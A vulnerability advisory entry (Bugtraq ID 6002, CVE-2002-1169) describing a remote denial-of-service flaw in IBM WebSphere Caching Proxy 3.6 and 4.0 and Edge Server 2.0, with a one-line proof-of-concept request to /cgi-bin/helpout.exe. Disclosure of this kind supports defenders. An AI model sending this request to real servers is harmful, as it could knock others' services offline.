IBM Websphere Caching Proxy Denial Of Service Vulnerability

BID:6002

Info

IBM Websphere Caching Proxy Denial Of Service Vulnerability

Bugtraq ID: 6002
Class: Input Validation Error
CVE: CVE-2002-1169
Remote: Yes
Local: No
Published: Oct 18 2002 12:00AM
Updated: Jul 11 2009 06:06PM
Credit: Discovery of this vulnerability credited to Joe Testa of Rapid 7.
Vulnerable: IBM WebSphere Caching Proxy Server 4.0
+ IBM WebSphere Edge Server 2.0
IBM WebSphere Caching Proxy Server 3.6
Not Vulnerable:

Exploit / POC

IBM Websphere Caching Proxy Denial Of Service Vulnerability

The following proof of concept was provided:

GET /cgi-bin/helpout.exe HTTP

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